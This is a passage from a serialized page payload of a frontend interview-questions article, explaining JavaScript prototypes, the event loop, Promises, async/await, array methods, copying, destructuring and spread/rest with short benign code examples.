Object.",[132,45238,45239],{"class":158},"create",[132,45241,45242],{"class":138},"(animal)\n",[132,45244,45245,45248,45250],{"class":134,"line":176},[132,45246,45247],{"class":138},"rabbit.jumps ",[132,45249,162],{"class":209},[132,45251,4935],{"class":233},[132,45253,45254],{"class":134,"line":186},[132,45255,190],{"emptyLinePlaceholder":189},[132,45257,45258,45260,45262,45265],{"class":134,"line":193},[132,45259,3889],{"class":138},[132,45261,3143],{"class":158},[132,45263,45264],{"class":138},"(rabbit.jumps)  ",[132,45266,45267],{"class":397},"// true (own property)\n",[132,45269,45270,45272,45274,45277],{"class":134,"line":206},[132,45271,3889],{"class":138},[132,45273,3143],{"class":158},[132,45275,45276],{"class":138},"(rabbit.eats)   ",[132,45278,45279],{"class":397},"// true (found on animal via prototype)\n",[11,45281,45282,45283,45285],{},"This is how inheritance works in JavaScript at the language level. The ",[18,45284,1731],{}," keyword is just nicer syntax on top of this same mechanism. The big win is flexibility: you can extend or even change the prototype at runtime, which is something class based languages cannot do.",[34,45287,45289],{"id":45288},"_48-what-is-the-difference-between-classical-and-prototypal-inheritance","48. What is the difference between classical and prototypal inheritance?",[11,45291,6495,45292,45295],{},[62,45293,45294],{},"classical inheritance"," (Java, C#, C++), classes are blueprints, and instances are created from those blueprints. A class is fundamentally different from an instance, and the relationship is fixed at compile time.",[11,45297,6495,45298,45301,45302,45305],{},[62,45299,45300],{},"prototypal inheritance"," (JavaScript), there are no real classes under the hood. Objects inherit directly from other objects. A \"class\" in JavaScript is just a function with a ",[18,45303,45304],{},".prototype"," object attached.",[11,45307,45308],{},"The practical effect is that JavaScript is more dynamic. You can add a method to a \"class\" at runtime, and every existing instance will instantly see it, because they all share the same prototype object. That kind of live patching is impossible in a true classical language.",[34,45310,45312],{"id":45311},"_49-what-is-the-event-loop","49. What is the event loop?",[11,45314,45315],{},"JavaScript is single threaded: only one piece of code runs at a time. The event loop is the mechanism that lets it handle asynchronous work (timers, network requests, user events) without blocking the main thread.",[11,45317,45318],{},"There are three main parts:",[56,45320,45321,45327,45336],{},[59,45322,1543,45323,45326],{},[62,45324,45325],{},"call stack"," is where synchronous code runs. Each function call pushes a new frame; each return pops it.",[59,45328,1543,45329,45332,45333,45335],{},[62,45330,45331],{},"task queue"," (sometimes called the macrotask queue) holds callbacks for things like ",[18,45334,6480],{},", I/O, and UI events.",[59,45337,1543,45338,45341,45342,626,45345,385],{},[62,45339,45340],{},"microtask queue"," holds callbacks for resolved Promises, ",[18,45343,45344],{},"queueMicrotask",[18,45346,45347],{},"MutationObserver",[11,45349,45350],{},[1268,45351],{"alt":45352,"src":45353},"JavaScript event loop diagram","/post-images/top-100-frontend-interview-questions/javascript-event-loop-diagram.png",[11,45355,45356],{},"The loop's algorithm is roughly: while the call stack has work, run it. When it is empty, drain the entire microtask queue. Then take exactly one task from the task queue and run it. Repeat forever.",[11,45358,45359,45360,45363,45364,45367],{},"This is why a ",[18,45361,45362],{},"Promise.resolve().then(...)"," always runs before the next ",[18,45365,45366],{},"setTimeout(..., 0)"," callback, even if both are scheduled at the same time. Microtasks always finish first.",[34,45369,45371],{"id":45370},"_50-what-is-the-difference-between-microtasks-and-macrotasks","50. What is the difference between microtasks and macrotasks?",[11,45373,45374],{},"Both are queues of asynchronous callbacks waiting to run, but they have different priorities and different sources.",[11,45376,45377,45380,45381,6827,45384,6827,45387,45390,45391,626,45393,45395,45396,45399],{},[62,45378,45379],{},"Microtasks"," come from Promise ",[18,45382,45383],{},".then",[18,45385,45386],{},".catch",[18,45388,45389],{},".finally"," handlers, ",[18,45392,45344],{},[18,45394,45347],{},". They run as soon as the current synchronous code finishes, and the engine drains the ",[62,45397,45398],{},"entire"," microtask queue before doing anything else.",[11,45401,45402,45405,45406,581,45408,45411,45412,45415],{},[62,45403,45404],{},"Macrotasks"," come from ",[18,45407,6480],{},[18,45409,45410],{},"setInterval",", I/O, and DOM events. They run ",[62,45413,45414],{},"one at a time",", and after each one the engine checks the microtask queue again.",[123,45417,45419],{"className":388,"code":45418,"language":390,"meta":128,"style":128},"console.log('1')\nsetTimeout(() => console.log('2'), 0)\nPromise.resolve().then(() => console.log('3'))\nconsole.log('4')\n\n// Output: 1, 4, 3, 2\n",[18,45420,45421,45434,45458,45487,45500,45504],{"__ignoreMap":128},[132,45422,45423,45425,45427,45429,45432],{"class":134,"line":135},[132,45424,3889],{"class":138},[132,45426,3143],{"class":158},[132,45428,243],{"class":138},[132,45430,45431],{"class":165},"'1'",[132,45433,249],{"class":138},[132,45435,45436,45438,45440,45442,45444,45446,45448,45451,45454,45456],{"class":134,"line":149},[132,45437,6480],{"class":158},[132,45439,2659],{"class":138},[132,45441,2662],{"class":209},[132,45443,5289],{"class":138},[132,45445,3143],{"class":158},[132,45447,243],{"class":138},[132,45449,45450],{"class":165},"'2'",[132,45452,45453],{"class":138},"), ",[132,45455,246],{"class":233},[132,45457,249],{"class":138},[132,45459,45460,45463,45465,45468,45471,45473,45475,45477,45479,45481,45483,45485],{"class":134,"line":176},[132,45461,45462],{"class":233},"Promise",[132,45464,385],{"class":138},[132,45466,45467],{"class":158},"resolve",[132,45469,45470],{"class":138},"().",[132,45472,6411],{"class":158},[132,45474,2659],{"class":138},[132,45476,2662],{"class":209},[132,45478,5289],{"class":138},[132,45480,3143],{"class":158},[132,45482,243],{"class":138},[132,45484,41952],{"class":165},[132,45486,15413],{"class":138},[132,45488,45489,45491,45493,45495,45498],{"class":134,"line":186},[132,45490,3889],{"class":138},[132,45492,3143],{"class":158},[132,45494,243],{"class":138},[132,45496,45497],{"class":165},"'4'",[132,45499,249],{"class":138},[132,45501,45502],{"class":134,"line":193},[132,45503,190],{"emptyLinePlaceholder":189},[132,45505,45506],{"class":134,"line":206},[132,45507,45508],{"class":397},"// Output: 1, 4, 3, 2\n",[11,45510,45511],{},"The takeaway: a chain of resolved Promises can starve out timers if you are not careful, because microtasks always run first.",[34,45513,45515,45516,581,45518,626,45520,1349],{"id":45514},"_51-what-is-the-difference-between-settimeout-setinterval-and-requestanimationframe","51. What is the difference between ",[18,45517,6480],{},[18,45519,45410],{},[18,45521,45522],{},"requestAnimationFrame",[11,45524,45525],{},"All three schedule code to run later, but they aim at different problems.",[56,45527,45528,45540,45551],{},[59,45529,45530,45533,45534,45536,45537,45539],{},[18,45531,45532],{},"setTimeout(fn, ms)"," runs ",[18,45535,5050],{}," once, at least ",[18,45538,43557],{}," milliseconds from now. It can be delayed by other work, so it is an \"at least\" guarantee, not \"exactly.\"",[59,45541,45542,45533,45545,45547,45548,45550],{},[18,45543,45544],{},"setInterval(fn, ms)",[18,45546,5050],{}," repeatedly, roughly every ",[18,45549,43557],{}," milliseconds. If the function takes longer than the interval, calls can stack up.",[59,45552,45553,45533,45556,45558],{},[18,45554,45555],{},"requestAnimationFrame(fn)",[18,45557,5050],{}," right before the browser's next paint, which is usually around 60 times per second on a 60Hz screen. It pauses automatically when the tab is in the background.",[11,45560,45561,45562,45564],{},"For animations, always use ",[18,45563,45522],{},". It is synced to the display, it pauses when the user is not looking, and it gives you the best frame rate for the least battery.",[34,45566,45568],{"id":45567},"_52-what-is-a-promise","52. What is a Promise?",[11,45570,45571],{},"A Promise is an object that represents a value that does not exist yet but will (or will fail to) at some point. Think of it like a receipt: the food is not ready, but you have something concrete to refer to it by.",[11,45573,45574,45575,45578,45579,45582,45583,45586],{},"A Promise is in one of three states: ",[62,45576,45577],{},"pending"," (still waiting), ",[62,45580,45581],{},"fulfilled"," (succeeded with a value), or ",[62,45584,45585],{},"rejected"," (failed with a reason). Once it settles (fulfilled or rejected), it stays that way forever.",[123,45588,45590],{"className":388,"code":45589,"language":390,"meta":128,"style":128},"const p = new Promise((resolve, reject) => {\n    setTimeout(() => resolve(42), 1000)\n})\n\np.then(value => console.log(value))   // 42 after 1 second\n .catch(err => console.error(err))\n",[18,45591,45592,45620,45643,45647,45651,45674],{"__ignoreMap":128},[132,45593,45594,45596,45599,45601,45603,45605,45607,45609,45611,45614,45616,45618],{"class":134,"line":135},[132,45595,230],{"class":209},[132,45597,45598],{"class":233}," p",[132,45600,237],{"class":209},[132,45602,6371],{"class":209},[132,45604,21180],{"class":233},[132,45606,6351],{"class":138},[132,45608,45467],{"class":697},[132,45610,581],{"class":138},[132,45612,45613],{"class":697},"reject",[132,45615,5284],{"class":138},[132,45617,2662],{"class":209},[132,45619,316],{"class":138},[132,45621,45622,45625,45627,45629,45632,45634,45636,45638,45641],{"class":134,"line":149},[132,45623,45624],{"class":158},"    setTimeout",[132,45626,2659],{"class":138},[132,45628,2662],{"class":209},[132,45630,45631],{"class":158}," resolve",[132,45633,243],{"class":138},[132,45635,7143],{"class":233},[132,45637,45453],{"class":138},[132,45639,45640],{"class":233},"1000",[132,45642,249],{"class":138},[132,45644,45645],{"class":134,"line":176},[132,45646,3156],{"class":138},[132,45648,45649],{"class":134,"line":186},[132,45650,190],{"emptyLinePlaceholder":189},[132,45652,45653,45656,45658,45660,45662,45664,45666,45668,45671],{"class":134,"line":193},[132,45654,45655],{"class":138},"p.",[132,45657,6411],{"class":158},[132,45659,243],{"class":138},[132,45661,4628],{"class":697},[132,45663,2675],{"class":209},[132,45665,5289],{"class":138},[132,45667,3143],{"class":158},[132,45669,45670],{"class":138},"(value))   ",[132,45672,45673],{"class":397},"// 42 after 1 second\n",[132,45675,45676,45679,45682,45684,45686,45688,45690,45693],{"class":134,"line":206},[132,45677,45678],{"class":138}," .",[132,45680,45681],{"class":158},"catch",[132,45683,243],{"class":138},[132,45685,12055],{"class":697},[132,45687,2675],{"class":209},[132,45689,5289],{"class":138},[132,45691,45692],{"class":158},"error",[132,45694,45695],{"class":138},"(err))\n",[11,45697,45698,45699,45702,45703,45705,45706,45708,45709,45711,45712,45715,45716,385],{},"You almost never write ",[18,45700,45701],{},"new Promise"," yourself in modern code. You consume Promises returned by ",[18,45704,21046],{},", by libraries, and by ",[18,45707,4917],{}," functions. The point of having a standard Promise object is that asynchronous code becomes composable: you can chain ",[18,45710,45383],{},", combine many Promises with ",[18,45713,45714],{},"Promise.all",", and use them with ",[18,45717,11849],{},[34,45719,45721,45722,1349],{"id":45720},"_53-what-is-async-await","53. What is ",[18,45723,45724],{},"async / await",[11,45726,45727,45729,45730,45733],{},[18,45728,45724],{}," is syntactic sugar over Promises that lets you write asynchronous code that ",[62,45731,45732],{},"looks"," synchronous. Under the hood it is still Promises, but the code reads top to bottom.",[123,45735,45737],{"className":388,"code":45736,"language":390,"meta":128,"style":128},"async function getUser(id) {\n    const res = await fetch(`/users/${id}`)\n    if (!res.ok) throw new Error('Failed')\n    const user = await res.json()\n    return user\n}\n",[18,45738,45739,45754,45777,45803,45819,45826],{"__ignoreMap":128},[132,45740,45741,45743,45745,45748,45750,45752],{"class":134,"line":135},[132,45742,4917],{"class":209},[132,45744,4920],{"class":209},[132,45746,45747],{"class":158}," getUser",[132,45749,243],{"class":138},[132,45751,1658],{"class":697},[132,45753,701],{"class":138},[132,45755,45756,45758,45760,45762,45764,45766,45768,45771,45773,45775],{"class":134,"line":149},[132,45757,4242],{"class":209},[132,45759,18486],{"class":233},[132,45761,237],{"class":209},[132,45763,15127],{"class":209},[132,45765,18493],{"class":158},[132,45767,243],{"class":138},[132,45769,45770],{"class":165},"`/users/${",[132,45772,1658],{"class":138},[132,45774,6400],{"class":165},[132,45776,249],{"class":138},[132,45778,45779,45781,45783,45785,45788,45791,45793,45796,45798,45801],{"class":134,"line":176},[132,45780,14051],{"class":209},[132,45782,5454],{"class":138},[132,45784,2576],{"class":209},[132,45786,45787],{"class":138},"res.ok) ",[132,45789,45790],{"class":209},"throw",[132,45792,6371],{"class":209},[132,45794,45795],{"class":158}," Error",[132,45797,243],{"class":138},[132,45799,45800],{"class":165},"'Failed'",[132,45802,249],{"class":138},[132,45804,45805,45807,45809,45811,45813,45815,45817],{"class":134,"line":186},[132,45806,4242],{"class":209},[132,45808,6182],{"class":233},[132,45810,237],{"class":209},[132,45812,15127],{"class":209},[132,45814,6421],{"class":138},[132,45816,6424],{"class":158},[132,45818,4951],{"class":138},[132,45820,45821,45823],{"class":134,"line":193},[132,45822,706],{"class":209},[132,45824,45825],{"class":138}," user\n",[132,45827,45828],{"class":134,"line":206},[132,45829,281],{"class":138},[11,45831,45832],{},"Two rules:",[56,45834,45835,45847],{},[59,45836,43597,45837,45839,45840,45843,45844,385],{},[18,45838,4917],{}," function always returns a Promise. If you ",[18,45841,45842],{},"return 5",", callers actually get ",[18,45845,45846],{},"Promise.resolve(5)",[59,45848,45849,45851,45852,45854],{},[18,45850,11849],{}," can only be used inside an ",[18,45853,4917],{}," function (or at the top level of a module). It pauses the function until the Promise settles, then continues with the resolved value or throws if it rejected.",[11,45856,45857,45858,45861,45862,45864],{},"You handle errors with regular ",[18,45859,45860],{},"try / catch",", which is one of the biggest readability wins compared to ",[18,45863,45383],{}," chains.",[34,45866,45868,45869,581,45871,581,45874,626,45877,1349],{"id":45867},"_54-what-is-the-difference-between-promiseall-promiseallsettled-promiserace-and-promiseany","54. What is the difference between ",[18,45870,45714],{},[18,45872,45873],{},"Promise.allSettled",[18,45875,45876],{},"Promise.race",[18,45878,45879],{},"Promise.any",[11,45881,45882],{},"All four take a list of Promises and return a single Promise, but they wait for different conditions.",[479,45884,45885,45901],{},[482,45886,45887],{},[485,45888,45889,45892,45895,45898],{},[488,45890,45891],{},"Method",[488,45893,45894],{},"Resolves when",[488,45896,45897],{},"Rejects when",[488,45899,45900],{},"Result",[498,45902,45903,45924,45942,45957],{},[485,45904,45905,45909,45915,45921],{},[503,45906,45907],{},[18,45908,45714],{},[503,45910,45911,45914],{},[62,45912,45913],{},"All"," fulfill",[503,45916,45917,45920],{},[62,45918,45919],{},"Any"," rejects",[503,45922,45923],{},"Array of results",[485,45925,45926,45930,45933,45936],{},[503,45927,45928],{},[18,45929,45873],{},[503,45931,45932],{},"All settle (fulfill or reject)",[503,45934,45935],{},"Never",[503,45937,45938,45939],{},"Array of ",[18,45940,45941],{},"{status, value/reason}",[485,45943,45944,45948,45951,45954],{},[503,45945,45946],{},[18,45947,45876],{},[503,45949,45950],{},"First settles, either way",[503,45952,45953],{},"First rejects (if it rejects first)",[503,45955,45956],{},"Single result",[485,45958,45959,45963,45966,45969],{},[503,45960,45961],{},[18,45962,45879],{},[503,45964,45965],{},"First fulfills",[503,45967,45968],{},"All reject",[503,45970,45956],{},[11,45972,45973,45974,45976,45977,45979,45980,45982,45983,45985],{},"In practice: ",[18,45975,45714],{}," is what you reach for most often, when you need everything to succeed. ",[18,45978,45873],{}," is for \"do all of these in parallel and report back what happened,\" even if some fail. ",[18,45981,45876],{}," is for timeouts and \"first to respond wins\" patterns. ",[18,45984,45879],{}," is for \"I have multiple sources, give me whichever succeeds first.\"",[34,45987,45989,45990,581,45993,581,45996,626,45998,1349],{"id":45988},"_55-what-is-the-difference-between-foreach-map-filter-and-reduce","55. What is the difference between ",[18,45991,45992],{},"forEach",[18,45994,45995],{},"map",[18,45997,2668],{},[18,45999,15249],{},[11,46001,46002],{},"These are four array methods you will reach for constantly. Each one takes a callback and runs it on every element, but what they do with the result is different.",[56,46004,46005,46010,46015,46020],{},[59,46006,46007,46009],{},[18,46008,45992],{}," runs the callback for each element and returns nothing. Use it only for side effects (logging, mutating something outside).",[59,46011,46012,46014],{},[18,46013,45995],{}," returns a new array of the same length, where each element is the return value of the callback applied to the original element.",[59,46016,46017,46019],{},[18,46018,2668],{}," returns a new array containing only the elements for which the callback returned a truthy value.",[59,46021,46022,46024],{},[18,46023,15249],{}," walks the array and accumulates a single value (a sum, a max, an object, anything).",[123,46026,46028],{"className":388,"code":46027,"language":390,"meta":128,"style":128},"const nums = [1, 2, 3, 4]\n\nnums.forEach(n => console.log(n))         // logs 1, 2, 3, 4\nconst doubled = nums.map(n => n * 2)      // [2, 4, 6, 8]\nconst evens = nums.filter(n => n % 2 === 0)  // [2, 4]\nconst sum = nums.reduce((acc, n) => acc + n, 0)  // 10\n",[18,46029,46030,46057,46061,46085,46116,46151],{"__ignoreMap":128},[132,46031,46032,46034,46037,46039,46041,46043,46045,46047,46049,46051,46053,46055],{"class":134,"line":135},[132,46033,230],{"class":209},[132,46035,46036],{"class":233}," nums",[132,46038,237],{"class":209},[132,46040,5849],{"class":138},[132,46042,1567],{"class":233},[132,46044,581],{"class":138},[132,46046,1570],{"class":233},[132,46048,581],{"class":138},[132,46050,3633],{"class":233},[132,46052,581],{"class":138},[132,46054,4704],{"class":233},[132,46056,8852],{"class":138},[132,46058,46059],{"class":134,"line":149},[132,46060,190],{"emptyLinePlaceholder":189},[132,46062,46063,46066,46068,46070,46073,46075,46077,46079,46082],{"class":134,"line":176},[132,46064,46065],{"class":138},"nums.",[132,46067,45992],{"class":158},[132,46069,243],{"class":138},[132,46071,46072],{"class":697},"n",[132,46074,2675],{"class":209},[132,46076,5289],{"class":138},[132,46078,3143],{"class":158},[132,46080,46081],{"class":138},"(n))         ",[132,46083,46084],{"class":397},"// logs 1, 2, 3, 4\n",[132,46086,46087,46089,46091,46093,46096,46098,46100,46102,46104,46106,46108,46110,46113],{"class":134,"line":186},[132,46088,230],{"class":209},[132,46090,14911],{"class":233},[132,46092,237],{"class":209},[132,46094,46095],{"class":138}," nums.",[132,46097,45995],{"class":158},[132,46099,243],{"class":138},[132,46101,46072],{"class":697},[132,46103,2675],{"class":209},[132,46105,44680],{"class":138},[132,46107,4683],{"class":209},[132,46109,5268],{"class":233},[132,46111,46112],{"class":138},")      ",[132,46114,46115],{"class":397},"// [2, 4, 6, 8]\n",[132,46117,46118,46120,46123,46125,46127,46129,46131,46133,46135,46137,46139,46141,46143,46145,46148],{"class":134,"line":193},[132,46119,230],{"class":209},[132,46121,46122],{"class":233}," evens",[132,46124,237],{"class":209},[132,46126,46095],{"class":138},[132,46128,2668],{"class":158},[132,46130,243],{"class":138},[132,46132,46072],{"class":697},[132,46134,2675],{"class":209},[132,46136,44680],{"class":138},[132,46138,42620],{"class":209},[132,46140,5268],{"class":233},[132,46142,44115],{"class":209},[132,46144,3667],{"class":233},[132,46146,46147],{"class":138},")  ",[132,46149,46150],{"class":397},"// [2, 4]\n",[132,46152,46153,46155,46158,46160,46162,46164,46166,46169,46171,46173,46175,46177,46180,46182,46185,46187,46189],{"class":134,"line":206},[132,46154,230],{"class":209},[132,46156,46157],{"class":233}," sum",[132,46159,237],{"class":209},[132,46161,46095],{"class":138},[132,46163,15249],{"class":158},[132,46165,6351],{"class":138},[132,46167,46168],{"class":697},"acc",[132,46170,581],{"class":138},[132,46172,46072],{"class":697},[132,46174,5284],{"class":138},[132,46176,2662],{"class":209},[132,46178,46179],{"class":138}," acc ",[132,46181,15268],{"class":209},[132,46183,46184],{"class":138}," n, ",[132,46186,246],{"class":233},[132,46188,46147],{"class":138},[132,46190,46191],{"class":397},"// 10\n",[11,46193,46194],{},"Reduce intimidates beginners, but it is just \"walk through and build up an answer.\" Once it clicks, it becomes the swiss army knife of array methods.",[34,46196,46198],{"id":46197},"_56-what-is-the-difference-between-shallow-copy-and-deep-copy","56. What is the difference between shallow copy and deep copy?",[11,46200,3374,46201,46204,46205,46208],{},[62,46202,46203],{},"shallow copy"," duplicates only the top level of an object. Any nested objects inside it are ",[62,46206,46207],{},"still shared"," between the original and the copy. So if you change a nested value through the copy, the original sees it too.",[11,46210,3374,46211,46214],{},[62,46212,46213],{},"deep copy"," duplicates everything recursively, so the copy is fully independent.",[123,46216,46218],{"className":388,"code":46217,"language":390,"meta":128,"style":128},"const a = { x: 1, nested: { y: 2 } }\n\nconst shallow = { ...a }\nshallow.nested.y = 99\nconsole.log(a.nested.y)  // 99 (oops, shared!)\n\nconst deep = structuredClone(a)\ndeep.nested.y = 5\nconsole.log(a.nested.y)  // 99 still, but deep.nested.y is 5 (independent)\n",[18,46219,46220,46242,46246,46261,46271,46283,46287,46302,46311],{"__ignoreMap":128},[132,46221,46222,46224,46227,46229,46232,46234,46237,46239],{"class":134,"line":135},[132,46223,230],{"class":209},[132,46225,46226],{"class":233}," a",[132,46228,237],{"class":209},[132,46230,46231],{"class":138}," { x: ",[132,46233,1567],{"class":233},[132,46235,46236],{"class":138},", nested: { y: ",[132,46238,1570],{"class":233},[132,46240,46241],{"class":138}," } }\n",[132,46243,46244],{"class":134,"line":149},[132,46245,190],{"emptyLinePlaceholder":189},[132,46247,46248,46250,46252,46254,46256,46258],{"class":134,"line":176},[132,46249,230],{"class":209},[132,46251,19883],{"class":233},[132,46253,237],{"class":209},[132,46255,3858],{"class":138},[132,46257,18033],{"class":209},[132,46259,46260],{"class":138},"a }\n",[132,46262,46263,46266,46268],{"class":134,"line":186},[132,46264,46265],{"class":138},"shallow.nested.y ",[132,46267,162],{"class":209},[132,46269,46270],{"class":233}," 99\n",[132,46272,46273,46275,46277,46280],{"class":134,"line":193},[132,46274,3889],{"class":138},[132,46276,3143],{"class":158},[132,46278,46279],{"class":138},"(a.nested.y)  ",[132,46281,46282],{"class":397},"// 99 (oops, shared!)\n",[132,46284,46285],{"class":134,"line":206},[132,46286,190],{"emptyLinePlaceholder":189},[132,46288,46289,46291,46294,46296,46299],{"class":134,"line":222},[132,46290,230],{"class":209},[132,46292,46293],{"class":233}," deep",[132,46295,237],{"class":209},[132,46297,46298],{"class":158}," structuredClone",[132,46300,46301],{"class":138},"(a)\n",[132,46303,46304,46307,46309],{"class":134,"line":227},[132,46305,46306],{"class":138},"deep.nested.y ",[132,46308,162],{"class":209},[132,46310,44057],{"class":233},[132,46312,46313,46315,46317,46319],{"class":134,"line":252},[132,46314,3889],{"class":138},[132,46316,3143],{"class":158},[132,46318,46279],{"class":138},[132,46320,46321],{"class":397},"// 99 still, but deep.nested.y is 5 (independent)\n",[11,46323,46324,46325,581,46328,581,46331,581,46334,46337,46338,46341,46342,46345],{},"Common shallow copy methods: ",[18,46326,46327],{},"{...obj}",[18,46329,46330],{},"Object.assign({}, obj)",[18,46332,46333],{},"Array.from(arr)",[18,46335,46336],{},"arr.slice()",". For deep copies, the modern, built in answer is ",[18,46339,46340],{},"structuredClone(value)",". You will sometimes still see ",[18,46343,46344],{},"JSON.parse(JSON.stringify(value))",", which works for plain data but throws on functions, dates, sets, maps, and circular references.",[34,46347,46349],{"id":46348},"_57-what-is-destructuring","57. What is destructuring?",[11,46351,46352],{},"Destructuring is a syntax for unpacking values from arrays or objects into individual variables, in one line.",[123,46354,46356],{"className":388,"code":46355,"language":390,"meta":128,"style":128},"// Array destructuring (positional)\nconst [first, second] = [1, 2]\nconst [a, , c] = [10, 20, 30]   // skip middle\n\n// Object destructuring (by name)\nconst { name, age = 18 } = user            // age defaults to 18 if undefined\nconst { name: userName } = user            // rename to userName\nconst { address: { city } } = user         // nested\n\n// Function parameters\nfunction greet({ name, greeting = 'Hi' }) {\n    console.log(`${greeting}, ${name}`)\n}\n",[18,46357,46358,46363,46390,46429,46433,46438,46466,46488,46513,46517,46522,46542,46562],{"__ignoreMap":128},[132,46359,46360],{"class":134,"line":135},[132,46361,46362],{"class":397},"// Array destructuring (positional)\n",[132,46364,46365,46367,46369,46371,46373,46376,46378,46380,46382,46384,46386,46388],{"class":134,"line":149},[132,46366,230],{"class":209},[132,46368,5849],{"class":138},[132,46370,5852],{"class":233},[132,46372,581],{"class":138},[132,46374,46375],{"class":233},"second",[132,46377,3646],{"class":138},[132,46379,162],{"class":209},[132,46381,5849],{"class":138},[132,46383,1567],{"class":233},[132,46385,581],{"class":138},[132,46387,1570],{"class":233},[132,46389,8852],{"class":138},[132,46391,46392,46394,46396,46398,46401,46404,46406,46408,46410,46413,46415,46418,46420,46423,46426],{"class":134,"line":176},[132,46393,230],{"class":209},[132,46395,5849],{"class":138},[132,46397,23],{"class":233},[132,46399,46400],{"class":138},", , ",[132,46402,46403],{"class":233},"c",[132,46405,3646],{"class":138},[132,46407,162],{"class":209},[132,46409,5849],{"class":138},[132,46411,46412],{"class":233},"10",[132,46414,581],{"class":138},[132,46416,46417],{"class":233},"20",[132,46419,581],{"class":138},[132,46421,46422],{"class":233},"30",[132,46424,46425],{"class":138},"]   ",[132,46427,46428],{"class":397},"// skip middle\n",[132,46430,46431],{"class":134,"line":186},[132,46432,190],{"emptyLinePlaceholder":189},[132,46434,46435],{"class":134,"line":193},[132,46436,46437],{"class":397},"// Object destructuring (by name)\n",[132,46439,46440,46442,46444,46446,46448,46451,46453,46456,46458,46460,46463],{"class":134,"line":206},[132,46441,230],{"class":209},[132,46443,3858],{"class":138},[132,46445,3866],{"class":233},[132,46447,581],{"class":138},[132,46449,46450],{"class":233},"age",[132,46452,237],{"class":209},[132,46454,46455],{"class":233}," 18",[132,46457,3869],{"class":138},[132,46459,162],{"class":209},[132,46461,46462],{"class":138}," user            ",[132,46464,46465],{"class":397},"// age defaults to 18 if undefined\n",[132,46467,46468,46470,46472,46474,46476,46479,46481,46483,46485],{"class":134,"line":222},[132,46469,230],{"class":209},[132,46471,3858],{"class":138},[132,46473,3866],{"class":697},[132,46475,325],{"class":138},[132,46477,46478],{"class":233},"userName",[132,46480,3869],{"class":138},[132,46482,162],{"class":209},[132,46484,46462],{"class":138},[132,46486,46487],{"class":397},"// rename to userName\n",[132,46489,46490,46492,46494,46497,46500,46503,46505,46507,46510],{"class":134,"line":227},[132,46491,230],{"class":209},[132,46493,3858],{"class":138},[132,46495,46496],{"class":697},"address",[132,46498,46499],{"class":138},": { ",[132,46501,46502],{"class":233},"city",[132,46504,4417],{"class":138},[132,46506,162],{"class":209},[132,46508,46509],{"class":138}," user         ",[132,46511,46512],{"class":397},"// nested\n",[132,46514,46515],{"class":134,"line":252},[132,46516,190],{"emptyLinePlaceholder":189},[132,46518,46519],{"class":134,"line":257},[132,46520,46521],{"class":397},"// Function parameters\n",[132,46523,46524,46526,46528,46530,46532,46534,46536,46538,46540],{"class":134,"line":269},[132,46525,260],{"class":209},[132,46527,43990],{"class":158},[132,46529,15861],{"class":138},[132,46531,3866],{"class":697},[132,46533,581],{"class":138},[132,46535,45045],{"class":697},[132,46537,237],{"class":209},[132,46539,43998],{"class":165},[132,46541,12535],{"class":138},[132,46543,46544,46546,46548,46550,46552,46554,46556,46558,46560],{"class":134,"line":278},[132,46545,3140],{"class":138},[132,46547,3143],{"class":158},[132,46549,243],{"class":138},[132,46551,15900],{"class":165},[132,46553,45045],{"class":138},[132,46555,45060],{"class":165},[132,46557,3866],{"class":138},[132,46559,6400],{"class":165},[132,46561,249],{"class":138},[132,46563,46564],{"class":134,"line":284},[132,46565,281],{"class":138},[11,46567,46568],{},"It cleans up a huge amount of boilerplate, especially when working with config objects or function parameters. Modern frameworks lean heavily on destructuring in component props, hook returns, and route params.",[34,46570,46572],{"id":46571},"_58-what-is-the-spread-operator-and-rest-parameter","58. What is the spread operator and rest parameter?",[11,46574,46575,46576,46578],{},"They look identical (",[18,46577,18033],{},") but do opposite things, depending on where you write them.",[11,46580,46581,46584,46585,46588],{},[62,46582,46583],{},"Spread"," ",[62,46586,46587],{},"expands"," an iterable into individual elements. You use it inside a literal or a call.",[123,46590,46592],{"className":388,"code":46591,"language":390,"meta":128,"style":128},"const arr = [1, 2, 3]\nconst more = [0, ...arr, 4]                  // [0, 1, 2, 3, 4]\nconsole.log(Math.max(...arr))                // 3\n\nconst a = { x: 1 }\nconst b = { ...a, y: 2 }                     // { x: 1, y: 2 }\n",[18,46593,46594,46617,46645,46665,46669,46683],{"__ignoreMap":128},[132,46595,46596,46598,46601,46603,46605,46607,46609,46611,46613,46615],{"class":134,"line":135},[132,46597,230],{"class":209},[132,46599,46600],{"class":233}," arr",[132,46602,237],{"class":209},[132,46604,5849],{"class":138},[132,46606,1567],{"class":233},[132,46608,581],{"class":138},[132,46610,1570],{"class":233},[132,46612,581],{"class":138},[132,46614,3633],{"class":233},[132,46616,8852],{"class":138},[132,46618,46619,46621,46624,46626,46628,46630,46632,46634,46637,46639,46642],{"class":134,"line":149},[132,46620,230],{"class":209},[132,46622,46623],{"class":233}," more",[132,46625,237],{"class":209},[132,46627,5849],{"class":138},[132,46629,246],{"class":233},[132,46631,581],{"class":138},[132,46633,18033],{"class":209},[132,46635,46636],{"class":138},"arr, ",[132,46638,4704],{"class":233},[132,46640,46641],{"class":138},"]                  ",[132,46643,46644],{"class":397},"// [0, 1, 2, 3, 4]\n",[132,46646,46647,46649,46651,46654,46656,46658,46660,46663],{"class":134,"line":176},[132,46648,3889],{"class":138},[132,46650,3143],{"class":158},[132,46652,46653],{"class":138},"(Math.",[132,46655,17558],{"class":158},[132,46657,243],{"class":138},[132,46659,18033],{"class":209},[132,46661,46662],{"class":138},"arr))                ",[132,46664,44493],{"class":397},[132,46666,46667],{"class":134,"line":186},[132,46668,190],{"emptyLinePlaceholder":189},[132,46670,46671,46673,46675,46677,46679,46681],{"class":134,"line":193},[132,46672,230],{"class":209},[132,46674,46226],{"class":233},[132,46676,237],{"class":209},[132,46678,46231],{"class":138},[132,46680,1567],{"class":233},[132,46682,14078],{"class":138},[132,46684,46685,46687,46690,46692,46694,46696,46699,46701,46704],{"class":134,"line":206},[132,46686,230],{"class":209},[132,46688,46689],{"class":233}," b",[132,46691,237],{"class":209},[132,46693,3858],{"class":138},[132,46695,18033],{"class":209},[132,46697,46698],{"class":138},"a, y: ",[132,46700,1570],{"class":233},[132,46702,46703],{"class":138}," }                     ",[132,46705,46706],{"class":397},"// { x: 1, y: 2 }\n",[11,46708,46709,46584,46712,46715],{},[62,46710,46711],{},"Rest",[62,46713,46714],{},"collects"," the remaining elements into an array. You use it in a parameter list or destructuring pattern.",[123,46717,46719],{"className":388,"code":46718,"language":390,"meta":128,"style":128},"function sum(...nums) {                       // collects all args\n    return nums.reduce((a, b) => a + b, 0)\n}\nconst [first, ...others] = [1, 